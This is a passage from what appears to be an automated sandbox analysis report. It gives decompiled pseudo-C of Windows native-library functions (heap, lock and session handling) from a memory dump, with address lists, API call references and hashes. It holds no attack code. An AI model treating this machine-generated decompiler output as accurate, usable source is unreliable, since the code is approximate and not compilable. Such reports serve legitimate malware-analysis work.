							if(_t70 != _t72) {
								E6D249FF0(_t70 - 1);
							}
							_t72 = _t72 - 1;
							 *0x6d336da4 = _t72;
							if(_t72 == 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t62);
								_t42 = 0;
								 *(_t73 - 0x20) = 0;
								 *0x6d336da0 = 0;
								 *0x6d336da8 =  *0x6d336da8 & 0;
								L32:
								_t70 =  *(_t73 - 0x24);
								_t72 =  *0x6d336da4;
								L20:
								_t59 = 1;
								 *((char*)(_t73 - 0x19)) = 1;
								goto L5;
							}
							_t49 =  *0x6d336da8 + 0xffffffe0;
							if(_t72 < _t49) {
								_t42 = RtlReAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t62, _t49 << 5);
								 *(_t73 - 0x20) = _t42;
								if(_t42 != 0) {
									 *0x6d336da0 = _t42;
									 *0x6d336da8 =  *0x6d336da8 - 0x20;
									goto L32;
								}
								_t59 = 0;
								goto L26;
							}
							_t42 =  *(_t73 - 0x20);
							goto L20;
						}
						_t67 =  *((intOrPtr*)(_t73 + 0xc));
						if(_t67 != 0) {
							if(_t67 !=  *_t61) {
								goto L21;
							}
						}
						if(_t44 == 0xffffffff) {
							goto L21;
						}
						_push(_t44 & 0xfffffffc);
						if( *((intOrPtr*)(_t61 + 0x1c)) == 0xc0000019) {
							_push(0);
							RtlFreeHeap( *( *[fs:0x30] + 0x18));
							_t70 =  *(_t73 - 0x24);
							_t61 =  *((intOrPtr*)(_t73 - 0x28));
						} else {
							_push(0xffffffff);
							E6D2897A0();
						}
						if( *(_t61 + 0x14) != 0) {
							_push( *(_t61 + 0x14));
							E6D2895D0();
							 *(_t61 + 0x14) =  *(_t61 + 0x14) & 0x00000000;
						}
						 *( *(_t73 - 0x2c)) =  *( *(_t73 - 0x2c)) & 0x00000000;
						_t72 =  *0x6d336da4;
						_t62 =  *0x6d336da0;
						 *(_t73 - 0x20) = _t62;
						goto L16;
					}
					L5:
					_t70 = _t70 - 1;
					 *(_t73 - 0x24) = _t70;
				}
				goto L6;
			}

0x6d250100
0x6d250102
0x6d250107
0x6d25010c
0x6d25010e
0x6d250115
0x6d2a6127
0x6d25016a
0x6d25016f
0x6d25016f
0x6d250120
0x6d250125
0x6d250129
0x6d250131
0x6d2a612e
0x6d2a6134
0x6d2a6134
0x6d25015c
0x6d25015c
0x6d250163
0x6d250168
0x00000000
0x6d250168
0x6d250137
0x6d250139
0x6d25013c
0x6d250141
0x6d250144
0x6d25014a
0x6d250154
0x6d250175
0x6d250177
0x6d25017a
0x6d25017a
0x6d25017d
0x6d250180
0x6d250184
0x6d25020b
0x6d25020b
0x6d2501db
0x6d2501dd
0x6d250213
0x6d250213
0x6d2501df
0x6d2501e2
0x6d2501e8
0x6d2a6171
0x6d2a6176
0x6d2a6178
0x6d2a617b
0x6d2a6180
0x6d2a6194
0x6d2a6194
0x6d2a6197
0x6d250201
0x6d250201
0x6d250203
0x00000000
0x6d250203
0x6d2501f3
0x6d2501f8
0x6d2a61b2
0x6d2a61b7
0x6d2a61bc
0x6d2a6188
0x6d2a618d
0x00000000
0x6d2a618d
0x6d2a6132
0x00000000
0x6d2a6132
0x6d2501fe
0x00000000
0x6d2501fe
0x6d25018a
0x6d250191
0x6d2a613f
0x00000000
0x00000000
0x6d2a6145
0x6d25019a
0x00000000
0x00000000
0x6d25019f
0x6d2501a7
0x6d2a614a
0x6d2a6155
0x6d2a615a
0x6d2a615d
0x6d2501ad
0x6d2501ad
0x6d2501af
0x6d2501af
0x6d2501b8
0x6d2501ba
0x6d2501bd
0x6d2501c2
0x6d2501c2
0x6d2501c9
0x6d2501cc
0x6d2501d2
0x6d2501d8
0x00000000
0x6d2501d8
0x6d250156
0x6d250156
0x6d250157
0x6d250157
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6D33861C,6D31F848,0000001C,6D24F66C,?,00000000,6D3352D8), ref: 6D250120
ZwUnmapViewOfSection.1105(000000FF,?,6D33861C,6D31F848,0000001C,6D24F66C,?,00000000,6D3352D8), ref: 6D2501AF
ZwClose.1105(?,000000FF,?,6D33861C,6D31F848,0000001C,6D24F66C,?,00000000,6D3352D8), ref: 6D2501BD

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCloseExclusiveLockSectionUnmapView
String ID:
API String ID: 1629747488-0
Opcode ID: d916c449a3b5f62bb074a71c979b634c47e57ac7f30e574504902599905576b9
Instruction ID: f11cde0cf68b7e87953b2980b8eaf91fc3db59c37a96be59302e1e67ea67f470
Opcode Fuzzy Hash: d916c449a3b5f62bb074a71c979b634c47e57ac7f30e574504902599905576b9
Instruction Fuzzy Hash: 7A41BF319D964ADFCF52CF6CCE90BAA7BB4FF4631AF058125D410AB296D3348950CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D2C5623, Relevance: 9.1, APIs: 6, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D2C5623(signed int __edx) {
				void* _t21;
				signed int _t22;
				void* _t23;
				signed int _t24;
				intOrPtr _t26;
				signed int _t27;
				signed char* _t39;
				signed int _t45;
				signed int _t51;
				signed int _t54;
				signed int _t63;

				_t51 = __edx;
				_t21 = E6D267D50();
				_t45 = 0x7ffe0384;
				if(_t21 == 0) {
					_t22 = 0x7ffe0384;
				} else {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				_t54 = 0x7ffe0385;
				if( *_t22 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
					if(E6D267D50() == 0) {
						_t39 = 0x7ffe0385;
					} else {
						_t39 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t39 & 0x00000020) != 0) {
						_t51 = _t51 | 0xffffffff;
						_t63 = _t51;
						L6D2C7016(0x1480, _t51, 0xffffffff, 0xffffffff, 0, 0);
					}
				}
				_t23 = E6D276900(_t63, 0x6d335350);
				_t24 = E6D267D50();
				if(_t23 == 0) {
					__eflags = _t24;
					if(_t24 != 0) {
						_t45 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						__eflags = _t45;
					}
					__eflags =  *_t45;
					if( *_t45 != 0) {
						_t26 =  *[fs:0x30];
						__eflags =  *(_t26 + 0x240) & 0x00000004;
						if(( *(_t26 + 0x240) & 0x00000004) != 0) {
							_t27 = E6D267D50();
							__eflags = _t27;
							if(_t27 != 0) {
								_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								__eflags = _t54;
							}
							__eflags =  *_t54 & 0x00000020;
							if(( *_t54 & 0x00000020) != 0) {
								__eflags = _t51 | 0xffffffff;
								L6D2C7016(0x1482, _t51 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					__eflags = 0;
					return 0;
				}
				if(_t24 != 0) {
					_t45 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t45 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
					if(E6D267D50() != 0) {
						_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t54 & 0x00000020) != 0) {
						L6D2C7016(0x1481, _t51 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
					}
				}
				return 1;
			}

0x6d2c5623
0x6d2c5628
0x6d2c562d
0x6d2c5634
0x6d2c5646
0x6d2c5636
0x6d2c563f
0x6d2c563f
0x6d2c564b
0x6d2c5650
0x6d2c5668
0x6d2c567a
0x6d2c566a
0x6d2c5673
0x6d2c5673
0x6d2c567f
0x6d2c5689
0x6d2c5689
0x6d2c5691
0x6d2c5691
0x6d2c567f
0x6d2c569b
0x6d2c56a2
0x6d2c56a9
0x6d2c5708
0x6d2c570a
0x6d2c5715
0x6d2c5715
0x6d2c5715
0x6d2c571b
0x6d2c571e
0x6d2c5720
0x6d2c5726
0x6d2c572d
0x6d2c572f
0x6d2c5734
0x6d2c5736
0x6d2c5741
0x6d2c5741
0x6d2c5741
0x6d2c5747
0x6d2c574a
0x6d2c5754
0x6d2c575c
0x6d2c575c
0x6d2c574a
0x6d2c572d
0x6d2c5761
0x00000000
0x6d2c5761
0x6d2c56ad
0x6d2c56b8
0x6d2c56b8
0x6d2c56c1
0x6d2c56d9
0x6d2c56e4
0x6d2c56e4
0x6d2c56ed
0x6d2c56ff
0x6d2c56ff
0x6d2c56ed
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000002,?,6D2BE4BC,6D3203D0,0000000C,6D2B9687,00000000,00000000,00000001,?,?,7FFE0386,?,6D246778,00000001), ref: 6D2C5628
RtlGetCurrentServiceSessionId.1105 ref: 6D2C5661
RtlTryEnterCriticalSection.1105(6D335350,00000000,00000002,?,6D2BE4BC,6D3203D0,0000000C,6D2B9687,00000000,00000000,00000001,?,?,7FFE0386,?,6D246778), ref: 6D2C569B
RtlGetCurrentServiceSessionId.1105(6D335350,00000000,00000002,?,6D2BE4BC,6D3203D0,0000000C,6D2B9687,00000000,00000000,00000001,?,?,7FFE0386,?,6D246778), ref: 6D2C56A2
RtlGetCurrentServiceSessionId.1105 ref: 6D2C56D2
RtlGetCurrentServiceSessionId.1105 ref: 6D2C572F

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: 2e70d1cb1ad505bb2647c67bb569ef318f00f6a4395885c2cf54998f1939a706
Instruction ID: 88bba8d366093ffc7f1d477340d77e5f409da886b2e94a0eb95f7d787b10cf68
Opcode Fuzzy Hash: 2e70d1cb1ad505bb2647c67bb569ef318f00f6a4395885c2cf54998f1939a706
Instruction Fuzzy Hash: 763184317D9B8B9BE7628728CD44F3437D4AF41769F2507A0EA308B6E2DB68DC44C612

Uniqueness

Uniqueness Score: -1.00%

Function 6D30A189, Relevance: 9.1, APIs: 6, Instructions: 96
nativeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6D30A189(signed int __ecx, intOrPtr* __edx) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* __ebx;
				void* __edi;
				intOrPtr _t29;
				void** _t30;
				intOrPtr _t40;
				void* _t44;
				signed int _t50;
				void* _t51;
				intOrPtr _t52;

				_v20 = __edx;
				_t50 = __ecx;
				if(__edx != 0) {
					E6D262280(__edx, 0x6d336220);
					_t42 = _t50;
					_t40 = E6D30A166(_t50);
					if(_t40 != 0) {
						L15:
						E6D25FFB0(_t40, _t50, 0x6d336220);
						 *_v20 = _t40;
						return 0;
					}
					_t44 = E6D30A166(_t42 ^ 0x00000100);
					if(_t44 != 0) {
						_v12 =  *((intOrPtr*)(_t44 + 4));
						_v8 =  *((intOrPtr*)(_t44 + 8));
						L7:
						_t51 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, 0x50);
						if(_t51 != 0) {
							_t10 = _t51 + 0xc; // 0xc
							_t40 = _t10;
							_t29 = E6D2FA708(_t50, _v12, _v8, _t40);
							_v16 = _t29;
							if(_t29 >= 0) {
								 *(_t51 + 8) = _t50;
								_t30 =  *0x6d3353d4; // 0x6d3353d0
								if( *_t30 != 0x6d3353d0) {
									0x6d3353d0 = 3;
									asm("int 0x29");
								}
								 *_t51 = 0x6d3353d0;
								 *(_t51 + 4) = _t30;
								 *_t30 = _t51;
								 *0x6d3353d4 = _t51;
								goto L15;
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t51);
							_t52 = _v16;
							L11:
							E6D25FFB0(_t40, _t50, 0x6d336220);
							return _t52;
						}
						_t52 = 0xc0000017;
						goto L11;
					}
					_push( &_v8);
					_push( &_v12);
					_push(_t44);
					_push(_t50 & 0xfffffeff);
					_push(0xc);
					_t52 = E6D28A420();
					if(_t52 >= 0) {
						goto L7;
					}
					goto L11;
				}
				return 0xc00000f0;
			}

0x6d30a194
0x6d30a199
0x6d30a19d
0x6d30a1ae
0x6d30a1b3
0x6d30a1ba
0x6d30a1be
0x6d30a27e
0x6d30a283
0x6d30a28b
0x00000000
0x6d30a28d
0x6d30a1cf
0x6d30a1d3
0x6d30a1f8
0x6d30a1fe
0x6d30a201
0x6d30a213
0x6d30a217
0x6d30a223
0x6d30a223
0x6d30a22c
0x6d30a231
0x6d30a236
0x6d30a25b
0x6d30a263
0x6d30a26a
0x6d30a26e
0x6d30a26f
0x6d30a26f
0x6d30a271
0x6d30a273
0x6d30a276
0x6d30a278
0x00000000
0x6d30a278
0x6d30a245
0x6d30a24a
0x6d30a24d
0x6d30a252
0x00000000
0x6d30a257
0x6d30a219
0x00000000
0x6d30a219
0x6d30a1d8
0x6d30a1dc
0x6d30a1dd
0x6d30a1e5
0x6d30a1e6
0x6d30a1ed
0x6d30a1f1
0x00000000
0x00000000
0x00000000
0x6d30a1f3
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6D336220,00000000,?,?,?), ref: 6D30A1AE
ZwGetNlsSectionPtr.1105(0000000C,?,00000000,?,?,6D336220,00000000,?,?,?), ref: 6D30A1E8
RtlReleaseSRWLockExclusive.1105(6D336220,?,00000000,00000000,?,0000000C,?,00000000,00000050,6D336220,00000000,?,?,?), ref: 6D30A252

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleaseSection
String ID:
API String ID: 1496884002-0
Opcode ID: 283735232a819615088f2f7581709fd6104d53d56b17889af83436df9a1bdcdd
Instruction ID: 2fced1c73cdb383e13e425b7c9d48ac0a2239402117556eb6a82d176c9758577
Opcode Fuzzy Hash: 283735232a819615088f2f7581709fd6104d53d56b17889af83436df9a1bdcdd
Instruction Fuzzy Hash: 5F31D175A8820AABC7168F98E940F6FBBFDAF45754F124079E605EB340DB71DD0187A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D2DC450, Relevance: 9.1, APIs: 6, Instructions: 53
nativememorythreadCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E6D2DC450(void* _a4) {
				signed char _t25;
				void* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *(_t26 + 8));
					_push(0);
					_push( *_t26);
					E6D289910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E6D2895B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E6D2895D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *(_t26 + 8) != _t8) {
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t26 + 8));
				}
				_push( *_t26);
				E6D2895D0();
				return RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t26);
			}

0x6d2dc458
0x6d2dc45d
0x6d2dc466
0x6d2dc468
0x6d2dc469
0x6d2dc46a
0x6d2dc46b
0x6d2dc46e
0x6d2dc46f
0x6d2dc471
0x6d2dc476
0x6d2dc476
0x6d2dc47c
0x6d2dc47e
0x6d2dc480
0x6d2dc480
0x6d2dc483
0x6d2dc484
0x6d2dc486
0x6d2dc488
0x6d2dc48f
0x6d2dc491
0x6d2dc493
0x6d2dc493
0x6d2dc48f
0x6d2dc498
0x6d2dc49e
0x6d2dc4ad
0x6d2dc4ad
0x6d2dc4b2
0x6d2dc4b4
0x6d2dc4cd

APIs

ZwAdjustPrivilegesToken.1105(00000000,00000000,?,00000000,00000000,00000000,?,00000000,00800000,?,6D2A9A59,?,00000000,000000FF,00000018,00000000), ref: 6D2DC471
ZwSetInformationThread.1105(000000FE,00000005,00000004,00000004,?,00000000,00800000,?,6D2A9A59,?,00000000,000000FF,00000018,00000000,00000000,00000000), ref: 6D2DC488
ZwClose.1105(00000004,000000FE,00000005,00000004,00000004,?,00000000,00800000,?,6D2A9A59,?,00000000,000000FF,00000018,00000000,00000000), ref: 6D2DC493
RtlFreeHeap.1105(?,00000000,?,?,00000000,00800000,?,6D2A9A59,?,00000000,000000FF,00000018,00000000,00000000,00000000,00000000), ref: 6D2DC4AD
ZwClose.1105(00000000,?,00000000,00800000,?,6D2A9A59,?,00000000,000000FF,00000018,00000000,00000000,00000000,00000000,00000001,00800000), ref: 6D2DC4B4
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,00000000,00800000,?,6D2A9A59,?,00000000,000000FF,00000018,00000000,00000000,00000000), ref: 6D2DC4C4

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFreeHeap$AdjustInformationPrivilegesThreadToken
String ID:
API String ID: 2345910567-0
Opcode ID: cb7d4b5cc4fed82b388a5ceaa9f75f3cea1cf4035457c2075ca64b83e3d10f5c
Instruction ID: e376427515c10362a10ca4e28176f7f0f34d308fa0dd8b168a5deda7edf4c337
Opcode Fuzzy Hash: cb7d4b5cc4fed82b388a5ceaa9f75f3cea1cf4035457c2075ca64b83e3d10f5c
Instruction Fuzzy Hash: 3C018C7218060ABFE7129F65CC80E62B76DFB58795F014539F224429A0CB26ACA1DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D270548, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6D270548(signed int __ecx, char __edx) {
				char _v5;
				signed int _v12;
				intOrPtr _v16;
				char _v20;
				signed int _v24;
				char _v28;
				signed int _t38;
				signed int _t40;
				signed int _t41;
				signed int _t42;
				signed char _t46;
				signed int* _t47;
				signed int _t49;
				signed int _t52;
				signed int _t55;
				char _t57;
				signed int _t59;
				void* _t61;
				signed int _t68;
				intOrPtr _t69;
				void* _t70;
				signed int _t74;
				void* _t78;

				_t60 = __ecx;
				_v5 = __edx;
				_t57 = 0;
				_v24 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x60)) != 0 || ( *(__ecx + 0x10) & 0x00100000) != 0) {
					L5:
					return _t57;
				} else {
					_v16 =  *((intOrPtr*)(__ecx + 0x20));
					L6D25EEF0(0x6d337b60);
					_t68 =  *0x6d338544;
					_t38 =  *0x6d338548 & 1;
					_t74 = _t68;
					_v12 = _t38;
					if(_t74 != 0) {
						_t69 = _v16;
						_t59 = _t38;
						do {
							__eflags = E6D286895(_t69, _t74);
							if(__eflags < 0) {
								_t40 =  *_t74;
								goto L10;
							} else {
								if(__eflags > 0) {
									_t40 =  *(_t74 + 4);
									L10:
									__eflags = _t59;
									if(_t59 != 0) {
										__eflags = _t40;
										if(_t40 == 0) {
											goto L11;
										} else {
											_t74 = _t74 ^ _t40;
											goto L12;
										}
										goto L42;
									} else {
										L11:
										_t74 = _t40;
									}
									goto L12;
								}
							}
							break;
							L12:
							__eflags = _t74;
						} while (_t74 != 0);
						_t68 =  *0x6d338544;
						_t57 = 0;
						__eflags = _t74;
						if(_t74 == 0) {
							goto L3;
						} else {
							goto L17;
						}
					} else {
						L3:
						if(_v5 != 0) {
							_v20 = _t57;
							__eflags = _t68;
							if(_t68 != 0) {
								while(1) {
									_t41 = E6D286895(_v16, _t68);
									__eflags = _t41;
									if(_t41 >= 0) {
										goto L24;
									}
									__eflags = _v12;
									_t55 =  *_t68;
									if(_v12 != 0) {
										__eflags = _t55;
										if(_t55 == 0) {
											goto L23;
										} else {
											_t42 = _t55 ^ _t68;
											goto L22;
										}
									} else {
										L22:
										__eflags = _t42;
										if(_t42 != 0) {
											L27:
											_t68 = _t42;
											continue;
										} else {
											L23:
											_v20 = _t57;
											goto L16;
										}
									}
									goto L42;
									L24:
									__eflags = _v12;
									_t42 =  *(_t68 + 4);
									if(_v12 != 0) {
										__eflags = _t42;
										if(_t42 == 0) {
											goto L26;
										} else {
											_t42 = _t42 ^ _t68;
											goto L25;
										}
									} else {
										L25:
										__eflags = _t42;
										if(_t42 != 0) {
											goto L27;
										} else {
											L26:
											_v20 = 1;
											goto L16;
										}
									}
									goto L42;
								}
							}
							L16:
							_t44 = _v16 + 0x74;
							__eflags = _v16 + 0x74;
							E6D25B090(0x6d338544, _t68, _v20, _t44);
							L17:
							_t46 = _v24;
							 *(_t46 + 0x10) =  *(_t46 + 0x10) | 0x00100000;
							_t47 = _t46 + 0x24;
							_t60 =  *0x6d337b44;
							__eflags =  *_t60 - 0x6d337b40;
							if( *_t60 != 0x6d337b40) {
								_t61 = 3;
								asm("int 0x29");
								_push(_t74);
								_push(_t68);
								_t70 = _t61;
								_t49 =  *(_t70 + 0x40) & 0x00040000;
								asm("sbb esi, esi");
								_t78 = ( ~_t49 & 0x0000003c) + 4;
								__eflags = 0x6d337b40;
								if(0x6d337b40 != 0) {
									__eflags = _t49;
									if(_t49 != 0) {
										_push(0);
										_push(0x14);
										_push( &_v28);
										_push(3);
										_push(_t70);
										_push(0xffffffff);
										_t52 = E6D289730();
										__eflags = _t52;
										if(_t52 < 0) {
											L41:
											_push(_t61);
											E6D30A80D(_t70, 1, _v24, 0);
											_t78 = 4;
										} else {
											__eflags = _v24 & 0x00000060;
											if((_v24 & 0x00000060) == 0) {
												goto L41;
											} else {
												__eflags = _v28 - _t70;
												if(_v28 != _t70) {
													goto L41;
												}
											}
										}
									}
								}
								return _t78;
							} else {
								 *_t47 = 0x6d337b40;
								_t57 = 1;
								_t47[1] = _t60;
								 *_t60 = _t47;
								 *0x6d337b44 = _t47;
								goto L4;
							}
						} else {
							L4:
							E6D25EB70(_t60, 0x6d337b60);
							goto L5;
						}
					}
				}
				L42:
			}

0x6d270548
0x6d270552
0x6d270556
0x6d270558
0x6d270560
0x6d2705a4
0x6d2705ac
0x6d27056b
0x6d270573
0x6d270576
0x6d270582
0x6d270588
0x6d27058b
0x6d27058d
0x6d270592
0x6d2705ad
0x6d2705b0
0x6d2705b2
0x6d2705b9
0x6d2705bb
0x6d27062a
0x00000000
0x6d2705bd
0x6d2705bd
0x6d2705bf
0x6d2705c2
0x6d2705c2
0x6d2705c4
0x6d2b4e8d
0x6d2b4e8f
0x00000000
0x6d2b4e95
0x6d2b4e95
0x00000000
0x6d2b4e95
0x00000000
0x6d2705ca
0x6d2705ca
0x6d2705ca
0x6d2705ca
0x00000000
0x6d2705c4
0x6d2705bd
0x00000000
0x6d2705cc
0x6d2705cc
0x6d2705cc
0x6d2705d0
0x6d2705d8
0x6d2705d9
0x6d2705db
0x00000000
0x6d2705dd
0x00000000
0x6d2705dd
0x6d270594
0x6d270594
0x6d270598
0x6d2705df
0x6d2705e2
0x6d2705e4
0x6d27062e
0x6d270632
0x6d270637
0x6d270639
0x00000000
0x00000000
0x6d27063b
0x6d27063f
0x6d270641
0x6d27066b
0x6d27066d
0x00000000
0x6d27066f
0x6d27066f
0x00000000
0x6d27066f
0x6d270643
0x6d270643
0x6d270643
0x6d270645
0x6d27065f
0x6d27065f
0x00000000
0x6d270647
0x6d270647
0x6d270647
0x00000000
0x6d270647
0x6d270645
0x00000000
0x6d27064c
0x6d27064c
0x6d270650
0x6d270653
0x6d270663
0x6d270665
0x00000000
0x6d270667
0x6d270667
0x00000000
0x6d270667
0x6d270655
0x6d270655
0x6d270655
0x6d270657
0x00000000
0x6d270659
0x6d270659
0x6d270659
0x00000000
0x6d270659
0x6d270657
0x00000000
0x6d270653
0x6d27062e
0x6d2705e6
0x6d2705e9
0x6d2705e9
0x6d2705f6
0x6d2705fb
0x6d2705fb
0x6d270603
0x6d27060a
0x6d27060d
0x6d270613
0x6d270615
0x6d270675
0x6d270676
0x6d270680
0x6d270681
0x6d270682
0x6d270687
0x6d270690
0x6d270695
0x6d270698
0x6d27069a
0x6d27069c
0x6d27069e
0x6d2b4e9c
0x6d2b4e9e
0x6d2b4ea3
0x6d2b4ea4
0x6d2b4ea6
0x6d2b4ea7
0x6d2b4ea9
0x6d2b4eae
0x6d2b4eb0
0x6d2b4ec1
0x6d2b4ec1
0x6d2b4ecd
0x6d2b4ed4
0x6d2b4eb2
0x6d2b4eb2
0x6d2b4eb6
0x00000000
0x6d2b4eb8
0x6d2b4eb8
0x6d2b4ebb
0x00000000
0x00000000
0x6d2b4ebb
0x6d2b4eb6
0x6d2b4eb0
0x6d27069e
0x6d2706ab
0x6d270617
0x6d270617
0x6d270619
0x6d27061b
0x6d27061e
0x6d270620
0x00000000
0x6d270620
0x6d27059a
0x6d27059a
0x6d27059f
0x00000000
0x6d27059f
0x6d270598
0x6d270592
0x00000000

APIs

RtlEnterCriticalSection.1105(6D337B60,?,00000000,01000000,?,6D270408,?,00000000,00000024), ref: 6D270576
RtlLeaveCriticalSection.1105(6D337B60,6D338544,?,00000001,?,?,?,?,?,6D337B60,?,00000000,01000000), ref: 6D27059F
RtlRbInsertNodeEx.1105(6D338544,?,00000001,?,?,?,?,?,6D337B60,?,00000000,01000000), ref: 6D2705F6

Strings

@{3m, xrefs: 6D2705FE

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterInsertLeaveNode
String ID: @{3m
API String ID: 1141981990-631011397
Opcode ID: 37cc1071533de7c5b89e17172cfe15cb199b9d6993f387aab6a228fc018949d2
Instruction ID: 01420566e1185c1d74d84c61732fc97e14b5459732858fa0fc46730d2727981a
Opcode Fuzzy Hash: 37cc1071533de7c5b89e17172cfe15cb199b9d6993f387aab6a228fc018949d2
Instruction Fuzzy Hash: 04516D71AC821F9BD7328A5B8B51F2B7BB4BF81319F110165E910EB241D3B2D9488790

Uniqueness

Uniqueness Score: -1.00%

Function 6D244439, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E6D244439(intOrPtr* __ecx, void* __edx) {
				signed int _v8;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				void* _v72;
				intOrPtr _v76;
				signed int _v84;
				void* _v88;
				char _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t64;
				signed int _t68;
				intOrPtr* _t72;
				signed int _t74;
				void* _t77;
				signed int _t83;
				signed int _t84;

				_t79 = __edx;
				_t54 =  *0x6d33d360 ^ _t84;
				_v8 =  *0x6d33d360 ^ _t84;
				_t82 = __ecx;
				_v96 = __edx;
				_t74 = __edx;
				if(__edx != 0 && ( *(__edx + 8) & 0x00000004) == 0) {
					_t82 = __ecx + 4;
					_t72 =  *_t82;
					while(_t72 != _t82) {
						_t83 = _t72 - 8;
						_t79 = 1;
						if( *_t83 != 0x74736c46) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = 1;
							_v68 = 1;
							_v64 = _t82;
							_v60 = _t83;
							_v92 = 0xc0150015;
							_v88 = 1;
							E6D29DEF0(_t74, 1);
							_t74 = _v96;
							_t79 = 1;
						}
						if( *(_t83 + 0x14) !=  !( *(_t83 + 4))) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = _t79;
							_v68 = 2;
							_v64 = _t82;
							_v60 = _t83;
							_v92 = 0xc0150015;
							_v88 = _t79;
							E6D29DEF0(_t74, _t79);
							_t74 = _v96;
						}
						_t9 = _t83 + 0x18; // 0x1c
						_t54 = _t9;
						if(_t74 < _t9) {
							L13:
							_t72 =  *_t72;
							continue;
						} else {
							_t10 = _t83 + 0x618; // 0x61c
							_t54 = _t10;
							if(_t74 >= _t10) {
								goto L13;
							} else {
								_v96 = 0x30;
								_t64 = _t74 - _t83 - 0x18;
								asm("cdq");
								_t79 = _t64 % _v96;
								_t54 = 0x18 + _t64 / _v96 * 0x30 + _t83;
								if(_t74 == 0x18 + _t64 / _v96 * 0x30 + _t83) {
									_t54 =  *(_t83 + 4);
									if(_t54 != 0) {
										_t68 = _t54 - 1;
										 *(_t83 + 4) = _t68;
